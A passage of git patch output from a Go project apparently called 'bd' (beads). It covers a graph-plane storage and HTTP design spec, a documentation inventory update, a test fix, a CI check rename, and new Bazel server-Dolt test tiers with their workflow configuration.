graph state wholesale; a federation peer pull carries graph + tables unfiltered and is refused on a foreign delta like any pull; the + remote-migrate gate's fast-forward onto a remote that carries graph rows + succeeds and the workspace refuses to mint (A9); a mirror round-trip + produces no graph delta and no refusal; `bd dolt pull` with no graph + delta is byte-identical. +- **Fence census (Part D.7):** a clone that received a foreign `DROP TRIGGER` + through replication is repaired at its next validation, and the census never + changes the graph-state version. +- **Solo topology (A10):** an embedded workspace with no remote and no server + mints, holds a gate-satisfied lease, answers every link-mode read locally, + serves nothing, and becomes a client host when a remote or shared database + appears. +- **Properties are opaque (bdp#1 item 5 as amended, 2026-09-08):** a URI or + pinned reference inside `properties` is data, never an edge; the store + validates nothing inside `properties`, and `graph_links` holds every edge + there is. +- **Rotation is never a remount:** a server started under a base URL that + differs from the persisted Scope URL refuses, and no stored intra-Scope + reference changes when the Scope URL rotates (paths are Scope-relative). +- Differential-gate rows: every legacy verb without `--graph-mode` is + byte-identical, including `bd link`, `bd graph`, `bd graph check`, + `bd restore`, `bd promote`; + `bd init` gate output on a non-capable backend is byte-identical; + `bd serve` without a Scope URL is byte-identical. + +### B8. `httpapi` integration and the pinned wire (amendments A2, A7) + +- **`httpapi.Config.Graph *GraphConfig`** — `{Reader graphops.Reader; Types + graphops.DescriptorReader; ScopeURL string; Fence FenceSource}` on the + store arm; on the provider arm `Reader`/`Types` are nil and the provider's + own accessors answer per request through `timedProvider`. `Fence` carries + the `held → renewing → lost` state machine of A3.6 and its shutdown join. + No admin or installer field (a test asserts it); `checkDatabaseSource`'s + exactly-one-source rule extends to the graph fields. Registered backends + and embedded workspaces never reach `Graph != nil` in v0. +- **`bdpRouteTable`** (`internal/httpapi/bdp_routes.go`) — **P2**: rows in + the same `route` shape, registered by `Server.handler()` **only when + `cfg.Graph != nil`** — `handler()` reads no `Config` today, so this is a + first, and `TestSpecRouteParity`'s `(&Server{}).handler()` keeps excluding + the rows — each wrapped by the same `s.route(rt)`. First rows: discovery, + `types/`, one Bead, one Link; **collection rows wait for the cursor ADR**. + No capability token in v0; a sibling parity test compares `bdpRouteTable` + against the pinned schema's path grammar. +- **Posture parity test:** one refusal matrix drives a legacy row and a BDP + row and asserts identical status and log shape. +- **Handler = serializer**; typed graph errors → BDP Problem records + (`bdp_problem.go`), here and only here. +- **Wire — P0 (vendored 2026-09-07 on the P0 branch):** + `internal/httpapi/bdpwire/schema/bdp-v0.schema.json` is vendored verbatim + with a `PROVENANCE` file (upstream repo, the plan's §0 commit, and per + file the sha256 and git blob sha1) covering the bundle, the + reference-domain and Read fixtures, the Read catalog and matrix, and the + spec's JSON example fences; a test recomputes every digest and fails on + drift. **Generator decision (Part D.3):** hand-written DTOs held to the + bundle by parity, round-trip, and matrix tests — the recorded fallback; + both generator routes were run on the pinned bundle and rejected + (`oapi-codegen` cannot consume the bundle by external `$ref` and + `openapi.v0.yaml` is frozen; `go-jsonschema` collapses the reference sum, + the consts, and nullable `next` to `interface{}`), see + `internal/httpapi/bdpwire/GENERATOR.md`. There is no `make bdp-gen`; + `bdp-check` is the package's tests, which already run inside + `make api-check`'s `go test ./internal/httpapi/...` step, so + `scripts/ci/pr-policy.sh` gains no target. Decoding posture (council 11 fold): + `bdpwire.Unmarshal`/`Decode` read member by member — exact case-sensitive + names, required ⇔ no `omitempty` (welded to the bundle by the parity test), + null refused except a collection's nullable `next`, each member held to its + JSON type, integers decoded exactly from any RFC 8259 spelling within the + documented Go `int` (64-bit) range; `ReadDiscovery.Validate()` enforces the + two consts. + +## Part C — What does not change + +`storage.Storage`'s existing 28 accessors and every `issueops` role; the +journal's frozen vocabulary; `openapi.v0.yaml` and `TestSpecRouteParity`; +`bd serve` on a workspace with **no** `bdp.scope_url` (byte-identical) and +on any workspace that does not hold the authority (legacy surface up, rows +absent); every legacy CLI verb (differential gate rows); JSONL export +shapes; `metadata.json`'s schema; `bd init` gate output on non-capable +backends; a registered backend's serving behavior (rows absent). + +## Part C2 — What changes that an earlier draft claimed did not + +- **Merge, pull, and sync.** Every `DOLT_PULL`/`DOLT_MERGE` route (the + `versioncontrolops` exports — seven in `mergesettle.go`, plus + `fastforward.go` and `automerge.go`; `doltCLIPull`, `Pull`, `PullRemote`, + `pullTransport`/`pullWithAutoResolve` in `internal/storage/dolt/store.go`; + the UOW leg's `doltVersionControlSQLRepository`; embedded federation sync; + the remote-migrate gate's fast-forward `DOLT_MERGE`) can change graph + state outside the roles — the ruling-13 triggers are silent on merge and + pull (probed) — so, under ruling 14, every SQL pull route **fetches, + inspects the eight tables against the tracking ref, and refuses a + foreign or unexplained delta before merging** (`DOLT_PULL` commits a + clean merge immediately and `ROLLBACK` does not undo it — probed — so + inspection is the only pre-merge refusal point); routes that cannot + inspect first fall to the **state-change validator** (B3), which reverts + the eight tables to the recorded HEAD in a new commit or marks the + witness `unverified`; no graph-table conflict is auto-resolved and + `--strategy` never touches one; a workspace without a witness takes the + remote's graph state wholesale. The replication/merge ADR + (`engdocs/BDP_GRAPH_REPLICATION_ADR.md`) writes the mechanism under that + charter before the migrations land. +- **Federation.** Graph tables ride filtered pushes **unfiltered, by + decision, in v0**; the lease table never replicates. +- **`bd sql`, raw SQL, and force-push.** Out of contract for graph tables + (ruling 13): raw DML on the eight replicated tables is refused by the + row-level fence unless the session set `@bd_graph_role`; force-push and + merges are the validator's and ruling 14's. `bd sql` itself is unchanged — + no flag; a legacy statement never names a graph table. +- **`bd dolt pull`, `bd federation sync`, `bd vc merge`, `bd conflicts + resolve`** gain the fetch-inspect step (one `DOLT_FETCH`, eight `dolt_diff` + reads against the tracking ref) before merging and the graph-table + exclusion for `--strategy` (ruling 14); gate output is byte-identical + unless a graph delta is refused. +- **`bd backup restore`** calls `Admin.MarkUnverified` after + `RestoreDatabase`, before its commit (no-op without a witness). +- **Root store policy** gains `commandPolicy` (Part A), and + `commandNeedsExclusiveGate` in `cmd/bd/workspace_gate.go` — today true only + for `backup restore` — learns `bd --graph-mode link types install`, `restore`, and + `ledger apply`. +- **`bd init`** gains the three `.beads/.gitignore` entries and installs no + descriptors (the catalog moves to `Mint`). +- **`bd config set`/`set-many`/`unset`** refuse `bdp.scope_url` once a + witness is held. +- **The UOW leg** gains `RunTxScopedResult` and `PublishGraphMutation`; the + version-control repository gains `MergeBase`, `ResetSoft`, + `CheckoutTables`, `Revert`, `HashOfTables`. +- **The doctor** gains an error-class finding for a tracked witness; the + `domain/fs` `WriteBeadsGitignore` writer shares the template and gains the + entries too (hygiene check D already warns and skips without a base ref — + no change there). + +## Part D — Open implementation questions (not rulings) + +1. Proposed numbers (`MaxExpandedRows`, `MaxCatalog`, page bounds, value + limit, lease TTL, heartbeat, grace) fixed at P1 with rationale. +2. Whether the P1 fixture writer becomes the internal half of `Writer`. +3. Generator choice for `bdpwire` — recorded at P0 (2026-09-07): hand-written + DTOs held to the vendored bundle by tests (B8; `GENERATOR.md`). +4. Whether `bd --graph-mode link serve` remains after W2 (default: yes). +5. Whether hazard-R publication should use an isolated branch instead of + soft-reset/checkout/revert. The constraint that decides it survives A9: + the ephemeral lease table lives in the default branch's working set and + branch-qualified sessions do not see it, so every fenced transaction runs + on the default branch. +6. The adoption verb for the later of two mints under one URL (ruling 14, + law 3) — name and shape fixed in the replication/merge ADR. +7. **Ruled 2026-09-08 (A):** the state-change validator and ruling 14's + fetch-inspect set carry a fence census over `dolt_schemas` (three triggers + per replicated table; repaired with the migration's idempotent pair; never + part of the graph-state version). + +## Part E — Ruled amendments (A1–A9 and 13–14: 2026-09-07; A10: 2026-09-08) + +Ruled: A1 store-owned witness asserted in every transaction is the v0 lease +(ruling 9); A2 BDP rows inside `httpapi`, `bd --graph-mode link serve` the +only minting path among serving commands (A10 separately permits local solo +minting), `bd serve` never refusing on account of the graph, +intra-Scope references Scope-relative and a new base URL a rotation +(rulings 7b/12); A3 the `--graph-mode link|dependency` root flag with a +mode-and-path-keyed policy; A4 public `graphops`, `BeadGraph*` accessors, no +`backend/` aliases; A5 installation-keyed witness with multi-phase +transitions, hash-chained ledger, ledger lane restoring anti-reuse history, +provider `LedgerDurability`; A6 tracked `bdp.scope_url`, per-workspace keys in +`config.local.yaml`, tokens from files only; A7's shared-database half (the +fence cell); A9 v0 authority requires a shared database outside A10's +embedded solo exception; the remote half of A7 is deferred to the write-profile +ADR; A8 option A — constraint #1 scoped to +behavior, out-of-tree implementers take the declared source break with six +stubs and a CHANGELOG call-out. Ruling 13 (out-of-role DML, "A+B"): out of +contract, the state-change validator with ledger accounting, and +session-gated triggers on the eight replicated tables (B3, B4, B7, C2). +Ruling 14 (replication/merge ADR, option B): the gate plus the four-law +charter — fetch-inspect-merge on the SQL pull routes, validator revert +elsewhere, no auto-resolve or `--strategy` on graph tables, foreign deltas +refused whole, clones take remote state wholesale (B3, B7, C2). +A10 (solo topology, B), Part D.7 (fence census, A), the +`authority_epoch` spelling, and the properties-are-opaque amendment (bdp#1 +item 5) ruled 2026-09-08. **These rulings are settled.** Full A10 text is in +architecture §2b; current BDP #19/#20, History #30 and Jim dependencies are in the plan +§0a refresh of 2026-09-12. Local solo verbs do not authorize embedded HTTP +serving. diff --git a/engdocs/DOC_INVENTORY.md b/engdocs/DOC_INVENTORY.md index 76d821f3e..a92b667db 100644 --- a/engdocs/DOC_INVENTORY.md +++ b/engdocs/DOC_INVENTORY.md @@ -1,5 +1,6 @@ # Documentation Disposition Inventory +Graph-plane design records added: 2026-09-10. Reviewed: 2026-07-07 (paths updated 2026-07-10 for the Mintlify port: user docs now live in the docs/ site tree; this ledger and other internal docs live in engdocs/) CI cleanup entry added: 2026-05-28 @@ -57,6 +58,9 @@ Follow-up automation should replace marker-only checks with generated or | `ANTIVIRUS.md` | Keep | User-facing operational note; review vendor/version claims when touched. | | `ARCHITECTURE.md` | Keep | Primary architecture overview; evidence is current package layout and Dolt-only storage path. | | `ATTRIBUTION.md` | Keep | Attribution record for removed merge engine. | +| `BDP_BEAD_GRAPH_PLAN.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | +| `BDP_GRAPH_ARCHITECTURE.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | +| `BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | | `CLAUDE_INTEGRATION.md` | Keep | Design/user guide for Claude setup; paired with `SETUP.md`. | | `CLAUDE.md` | Revise | Kept as architecture orientation only; command/workflow duplication was reduced in favour of root `AGENTS.md` and `AGENT_INSTRUCTIONS.md`. | | `CLI_REFERENCE.md` | Keep/generated | Generated command reference from live help output. | From 70867888ffee312ad9df6d15d0c0c0b0164c4f5d Mon Sep 17 00:00:00 2001 From: Gas City Adopt-PR Date: Tue, 29 Sep 2026 05:20:09 +0000 Subject: [PATCH 212/624] test(release-1.3.x): drop dolt commit from the release-only direct-only refusal loop after #6499 [NOT a cherry-pick] Release-only test adaptation. On main, TestHistoryDirectOnlyRefusalContract iterates the keys of its expected map, so #6499 only had to delete the "dolt commit" entry. The release copy (adapted in 2b27259cb4) iterates an explicit path list instead, which the pick could not see. That list still had "dolt commit", which #6499 now permits on the proxied route, so the test read an empty refusal and failed: dolt commit refusal = "" (unexpected end of JSON input) Seen in the nightly full-test and pr-linux runs dispatched on hotfix/1.3.1-batch2. The only change is removing "dolt commit" from that list. The refusal contract for every other path is unchanged. Co-Authored-By: Claude Opus 5.5 --- cmd/bd/capability_registry_history_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cmd/bd/capability_registry_history_test.go b/cmd/bd/capability_registry_history_test.go index 3884b6765..ad212600c 100644 --- a/cmd/bd/capability_registry_history_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -62,7 +62,7 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { oldProvider := uowProvider oldJSON := jsonOutput t.Cleanup(func() { uowProvider = oldProvider; jsonOutput = oldJSON }) - for _, path := range []string{"branch", "conflicts", "repo", "federation", "vc", "flatten", "dolt push", "dolt pull", "dolt commit", "dolt remote add", "sync"} { + for _, path := range []string{"branch", "conflicts", "repo", "federation", "vc", "flatten", "dolt push", "dolt pull", "dolt remote add", "sync"} { parts := strings.Split(path, " ") root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: parts[0]} From 9116068c54beb1f473499706bdd9e85aa98d3578 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 22:31:43 -0700 Subject: [PATCH 213/624] ci: give PR Risk's gate a distinct check name (#6939) pr.yml and pr-risk.yml both reported a check run named "CI Gate / Required". GitHub resolves required checks (and pr-preflight its rollup) latest-per-name, so a red gate in one workflow could be masked by a later green one in the other. Rename PR Risk's aggregate to "PR Risk Gate / Required" so both can be required independently. Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr-risk.yml | 2 +- engdocs/CI_CLEANUP_PLAN.md | 2 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 4 ++-- engdocs/CI_TEST_SURFACE_AUDIT.md | 4 ++-- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 778e02920..2972c4b73 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -452,7 +452,7 @@ jobs: echo "Help text first line is correct" ci-gate: - name: CI Gate / Required + name: PR Risk Gate / Required runs-on: ubuntu-latest needs: - detect-ci-tier diff --git a/engdocs/CI_CLEANUP_PLAN.md b/engdocs/CI_CLEANUP_PLAN.md index 7d7035b6a..fac4ff386 100644 --- a/engdocs/CI_CLEANUP_PLAN.md +++ b/engdocs/CI_CLEANUP_PLAN.md @@ -767,7 +767,7 @@ artifacts, so `postinstall` URLs are populated before the package is published. where practical so branch-protection migration can be handled separately. 10. Add stable aggregate required-check candidates after the split. Initial aggregate jobs exist on branch `ci/bd-am3.1-wrapper-commands` as - `PR / CI Gate / Required` and `PR Risk / CI Gate / Required`, backed by + `PR / CI Gate / Required` and `PR Risk / PR Risk Gate / Required`, backed by `.github/scripts/ci-gate.sh`. ## Deferred Decisions diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 3de6f93c5..d5d09667c 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -41,7 +41,7 @@ Current PR-related workflow names: - `.github/workflows/pr-risk.yml`: `PR Risk` Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk detection, embedded build/test shards, the Nix flake smoke check, and the - risk aggregate gate `PR Risk / CI Gate / Required`. + risk aggregate gate `PR Risk / PR Risk Gate / Required`. - `.github/workflows/main.yml`: `Main` Runs on pushes to `main`. Contains the main branch health checks, package gates, platform smoke/short coverage, embedded Dolt coverage, and promoted @@ -76,7 +76,7 @@ rollout uses one aggregate per required workflow. An external status aggregator would only be needed if maintainers still want exactly one required check. - Baseline aggregate candidate: `PR / CI Gate / Required` -- Risk aggregate candidate: `PR Risk / CI Gate / Required` +- Risk aggregate candidate: `PR Risk / PR Risk Gate / Required` - Source: GitHub Actions - Required on: pull requests and merge queue groups targeting `main` diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 76c5fad70..18133fff6 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -161,7 +161,7 @@ The former monolithic `ci.yml` has been split by tier/domain: the aggregate check `PR / CI Gate / Required`. - `pr-risk.yml`: pull request and merge queue risk jobs. It owns embedded Dolt risk detection, embedded build/storage/cmd shards, the Nix flake smoke, and - the aggregate check `PR Risk / CI Gate / Required`. + the aggregate check `PR Risk / PR Risk Gate / Required`. - `main.yml`: push-to-`main` branch health. It reruns the baseline wrappers, package gates, Linux/macOS short coverage, Windows smoke, embedded Dolt, Nix, storage domain/uow, and promoted Linux no-short integration shards. @@ -183,7 +183,7 @@ Key jobs preserved by display name: - `Build (Embedded Dolt)`, `Test (Embedded Dolt Storage N/5)`, and `Test (Embedded Dolt Cmd N/20)`. - Aggregate required-check candidates: `PR / CI Gate / Required` and - `PR Risk / CI Gate / Required`. + `PR Risk / PR Risk Gate / Required`. - Main-only platform and integration jobs: `Test (ubuntu-latest)`, `Test (macos-latest)`, `Test (Windows - smoke)`, `Main Linux integration packages (N/6)`, and From e7138e93afd164b1b7326a3325068d2b71ccf48b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 23:01:40 -0700 Subject: [PATCH 214/624] ci(bazel): server-Dolt storage and proxied tiers on remote execution (#6940) * test(integration): let SubprocessRunner reuse a prebuilt test binary BEADS_TEST_SUBPROCESS_BINARY hands SubprocessRunner an already-built test binary of the package instead of running `go test -c`, which no Bazel action can do offline (it needs the module source tree and module cache). A Bazel target passes the running go_test itself: the helper tests (TestHelperSchemaInit, TestHelperMultiStore) live in the same package. Unset, behavior is unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) * test(dolt): keep a lane's REQUIRE switch out of the leak-probe child TestSuiteFixtureLeakFailsOwningSuite re-runs the suite with BEADS_TEST_SKIP=dolt on purpose. When the parent runs under BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 (a fail-closed server lane), the child inherited it and TestMain exited FATAL before the leak sweep the test checks. Clear it in the child like the other suite-scoped variables. Co-Authored-By: Claude Opus 5.5 (1M context) * feat(bazel): proxied-server and server-Dolt storage tiers (D6d, D6e) PR Risk's "Test (Proxied Dolt Cmd N/15)" (also main.yml's) and "Test (Server Dolt Conformance)" / "Test (Server Dolt Full Suite N/16)" as Bazel variants against local dolt sql-servers (internal/testutil local backend, pinned dolt from the test wrapper), fail-closed like the dolt-server lane: - //cmd/bd:bd_proxied_test: 15 shards; shard k runs the job's proxied-test-shard.sh k+1 15 through go_test_manifest_shard.sh over the race bd_test, non-race bd_for_tests as the subprocess bd, BEADS_TEST_PROXIED_SERVER=1, GOMAXPROCS=4. Tag dolt-server-proxied, --config=doltserver-proxied (the doltserver lane's build). - //internal/storage/dolt:dolt_server_{conformance,full}_test over dolt_race_off (go_test_race_off of dolt_test: the jobs' binary is not race); the full suite runs server-storage-test-shard.sh k+1 16 with BEADS_TEST_ENV_RUN_DOLT=1 and hands SubprocessRunner its own binary. Tag dolt-server-integration, --config=doltserver-integration, whose build flags are exactly --config=integration's, so the tier shares that lane's compile (race-off deps land where bd_for_tests already is) instead of compiling the tagged graph a third time. - dolt_test gains //internal/storage/schema:migrations as data (the PR4107/migration replay tests read ../schema/migrations). - test_env.sh: BEADS_TEST_GIT_IDENTITY=1 writes the jobs' global git identity ("Configure Git"); the git-remote tests commit in fresh repos. - Both tags join the taxonomy and bazelPRCoreExcludedTags, so prcore/ci and integration exclude them. Per-shard names and statuses equal a replay of the jobs' commands (container backend) for all 32 jobs. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the proxied and server storage tiers remotely (advisory) bazel-doltserver gains a second, remote-only step, `bazel test //... --config=doltserver-proxied` (15 shards of ~5-10 min with a busy dolt sql-server each do not fit a GitHub-hosted runner; forks and rbe=off keep the local lane unchanged). bazel-integration gains `bazel test //... --config=doltserver-integration`, which shares its build flags, so the server storage tier compiles nothing the integration step has not. Both steps write their own BEP, run check_testcases.py on it, run even when the job's first test step failed, and upload logs on failure. Policy (TestBazelDoltServerTiersMirrorPRRisk): each variant runs its jobs' shard script with their shard total and has script + manifest in data; the conformance variant passes the job's flags; the jobs' race/non-race binaries and switches (BEADS_TEST_PROXIED_SERVER, BEADS_TEST_ENV_RUN_DOLT) match; doltserver-integration's tags and race equal --config=integration's; the steps are pinned to their jobs. checkDoltServerRules now holds all three dolt-server lane tags to the local-backend, fail-closed, remote-capable rules. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the proxied and server storage tiers in jobs of their own Review of D6d/e: as steps of bazel-doltserver and bazel-integration the tiers inherited those jobs' gating (a caller switching the integration lane off would drop PR Risk's PR-time server tier; a gate requiring the dolt-server lane would silently require the proxied tier too) and lengthened their critical paths. bazel-proxied (--config=doltserver-proxied, 15 shards) and bazel-server-storage (--config=doltserver-integration: conformance + 16 shards) are remote-only jobs that need only rbe, each with its own BEP, check_testcases.py step and log upload, 25-minute test step inside a 30-minute job. bazel-doltserver and bazel-integration are back to their previous content, including the dolt-server step's 80-minute timeout for local runs. The server tier shares bazel-integration's compiles through the remote cache (same build flags). The proxied tier mirrors PR Risk's race bd-cmd-test; main.yml's twin job runs build-artifacts' non-race one, so Bazel is the stricter of the two. Comments now say so, and the policy test pins main.yml's build so a change there is noticed. Policy: the new jobs are pinned (command, config, remote-only if, BEP + testcase steps, timeouts, log upload), and no tier step may run in bazel-integration or bazel-doltserver. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 55 +++- .github/workflows/bazel.yml | 132 +++++++- BUILD.bazel | 13 +- cmd/bd/BUILD.bazel | 56 ++++ engdocs/TESTING.md | 9 + internal/storage/dolt/BUILD.bazel | 118 ++++++- .../storage/dolt/suite_leak_linux_test.go | 5 + internal/testutil/integration/harness.go | 22 ++ scripts/bazel_policy_test.go | 12 +- scripts/ci_workflow_test.go | 303 +++++++++++++++++- tools/bazel/go_test_manifest_shard.sh | 8 +- tools/bazel/test_env.sh | 8 + 12 files changed, 706 insertions(+), 35 deletions(-) diff --git a/.bazelrc b/.bazelrc index 0e5936332..308ab55ec 100644 --- a/.bazelrc +++ b/.bazelrc @@ -37,7 +37,7 @@ test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 # Every tag that belongs to another lane (scripts/bazel_policy_test.go # bazelPRCoreExcludedTags). integration-only targets run zero tests outside # --config=integration. -test:prcore --test_tag_filters=-requires-docker,-dolt-server,-embedded,-manual,-integration-only +test:prcore --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-embedded,-manual,-integration-only test:ci --config=prcore test:ci --keep_going --test_summary=terse @@ -123,6 +123,57 @@ test:doltserver --test_arg=-test.parallel=4 test:doltserver --local_test_jobs=4 test:doltserver --remote_download_regex=.*/test\.(log|xml)$ +# Proxied-server tier: PR Risk's "Test (Proxied Dolt Cmd N/15)" jobs, as +# //cmd/bd:bd_proxied_test (dolt-server-proxied tag). Kept out of +# --config=doltserver because bazel.yml runs that lane locally too (forks, +# rbe=off), where 15 shards of ~10 minutes, each with a dolt sql-server busy +# on ~4 cores, do not fit; bazel.yml runs this one only with remote +# execution, in a job of its own (bazel-proxied). The build is +# --config=doltserver's: race, like PR Risk's /tmp/bd-cmd-test (main.yml's +# twin job runs build-artifacts' non-race bd-cmd-test, so this is the +# stricter of the two); the subprocess bd is the non-race bd_for_tests, like +# the jobs'. Each shard runs its job's +# shard script, whose -test.timeout=15m is past "long": the target is +# eternal, which rbe-west caps at 1200s. +test:doltserver-proxied --@rules_go//go/config:race +test:doltserver-proxied --test_tag_filters=dolt-server-proxied +test:doltserver-proxied --build_tests_only +test:doltserver-proxied --keep_going +test:doltserver-proxied --test_summary=terse +test:doltserver-proxied --test_timeout=-1,-1,-1,1200 +test:doltserver-proxied --test_env=GO_TEST_WRAP_TESTV=1 +# The jobs pass no -parallel: GOMAXPROCS (the target's 4, a runner's vCPUs). +test:doltserver-proxied --test_arg=-test.parallel=4 +test:doltserver-proxied --local_test_jobs=4 +test:doltserver-proxied --remote_download_regex=.*/test\.(log|xml)$ + +# Server-Dolt storage tier: PR Risk's "Test (Server Dolt Conformance)" and +# "Test (Server Dolt Full Suite N/16)" jobs, as +# //internal/storage/dolt:dolt_server_{conformance,full}_test +# (dolt-server-integration tag): the integration-tagged internal/storage/dolt +# tests, non-race like the jobs' binary, against a local dolt sql-server. +# The build flags are exactly --config=integration's (the tags, and race for +# everything the variants do not turn off), so the two lanes share every +# compile: the variants' race-off binary lands in the configuration +# --config=integration already builds the non-race //cmd/bd:bd_for_tests in. +# A per-target gotags transition would instead compile the whole graph a +# third time. No BEADS_TEST_SKIP, no -short; the full suite's +# BEADS_TEST_ENV_RUN_DOLT=1 is target env. Remote only in bazel.yml, in a +# job of its own (bazel-server-storage) that shares bazel-integration's +# compiles through the remote cache. +build:doltserver-integration --@rules_go//go/config:tags=gms_pure_go,integration +test:doltserver-integration --@rules_go//go/config:race +test:doltserver-integration --test_tag_filters=dolt-server-integration +test:doltserver-integration --build_tests_only +test:doltserver-integration --keep_going +test:doltserver-integration --test_summary=terse +test:doltserver-integration --test_timeout=-1,-1,-1,1200 +test:doltserver-integration --test_env=GO_TEST_WRAP_TESTV=1 +# The jobs pass no -parallel: GOMAXPROCS (the targets' 4, a runner's vCPUs). +test:doltserver-integration --test_arg=-test.parallel=4 +test:doltserver-integration --local_test_jobs=4 +test:doltserver-integration --remote_download_regex=.*/test\.(log|xml)$ + # Integration lane: main.yml's "Main Linux integration packages (N/6)" and # "Main Linux integration cmd/bd (N/8)" jobs (and nightly.yml's Full Test # Suite, which runs the same `go test` over ./... in one job): every package @@ -141,7 +192,7 @@ test:integration --test_env=BEADS_TEST_SKIP=dolt # keeps every container- or server-backed test skipped, which is what the # untagged base targets already do. scripts/bazel_policy_test.go derives the # required exclusions from the PR-core list, so a new lane tag lands here too. -test:integration --test_tag_filters=-requires-docker,-dolt-server,-embedded,-manual +test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-embedded,-manual test:integration --build_tests_only test:integration --keep_going test:integration --test_summary=terse diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 28c7466e6..eb4d7ca5b 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,8 +1,9 @@ # Bazel side-by-side lane (advisory). Runs `bazel test //... --config=ci`, the # PR Core-parity selection (race, -short, dolt skip, -requires-docker), on the # same commit as pr.yml's go test lanes, plus one job per mirrored CI job -# (pure-Go/js-wasm, docker lane, pr-risk.yml's embedded-Dolt tier, main.yml's -# integration jobs). It is NOT +# (pure-Go/js-wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, +# proxied-server and server-Dolt storage tiers, main.yml's integration jobs). +# It is NOT # in ci-gate's CI_GATE_REQUIRED; promotion needs the equivalence record # described in tools/bazel/equivalence.py and a human decision. # @@ -17,8 +18,8 @@ # local: fork PRs, rbe=off dispatches, and same-repo runs without the # secret (Dependabot PRs: same-repo, but no Actions secrets): local # execution on ubuntu-latest, slower but the same results, for every job -# but the remote-only ones (bazel-embedded, bazel-integration), which -# are skipped. +# but the remote-only ones (bazel-embedded, bazel-integration, +# bazel-proxied, bazel-server-storage), which are skipped. # skip: same-repo runs while RBE_WEST_WORKERS is unset (the farm switch). # workflow_dispatch with rbe=off simulates a fork run. The decision is also a # workflow_call output, so a caller's gate can tell an expected skip from a @@ -677,3 +678,126 @@ jobs: bazel-testlogs/**/test.xml if-no-files-found: ignore retention-days: 7 + + # pr-risk.yml's proxied-server tier, "Test (Proxied Dolt Cmd N/15)", as + # --config=doltserver-proxied: //cmd/bd:bd_proxied_test runs the job's + # shard script in 15 Bazel shards, so shard k runs exactly job k's tests. + # Same build as --config=doltserver (race bd_test, non-race bd_for_tests), + # shared with bazel-doltserver through the remote cache. PR Risk builds + # its bd-cmd-test with -race, as here; main.yml's test-proxied-cmd twin + # uses build-artifacts' non-race bd-cmd-test, so this lane is the stricter + # of the two. A job of its own, not gated by any integration switch, so a + # caller's gate can decide on it separately. + bazel-proxied: + name: Bazel / proxied-server tier (advisory) + # Remote execution only, like bazel-embedded: 15 shards of ~5-10 + # minutes, each with a dolt sql-server busy on ~4 cores, do not fit a + # GitHub-hosted runner. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' }} + timeout-minutes: 30 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # Remote: the longest shard takes ~5-8 minutes (each shard's Go + # timeout is its job's 15m, 1200s Bazel cap), plus a compile. + - name: bazel test //... --config=doltserver-proxied + id: test + timeout-minutes: 25 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=doltserver-proxied \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=doltserver-proxied: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # As in bazel-embedded. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 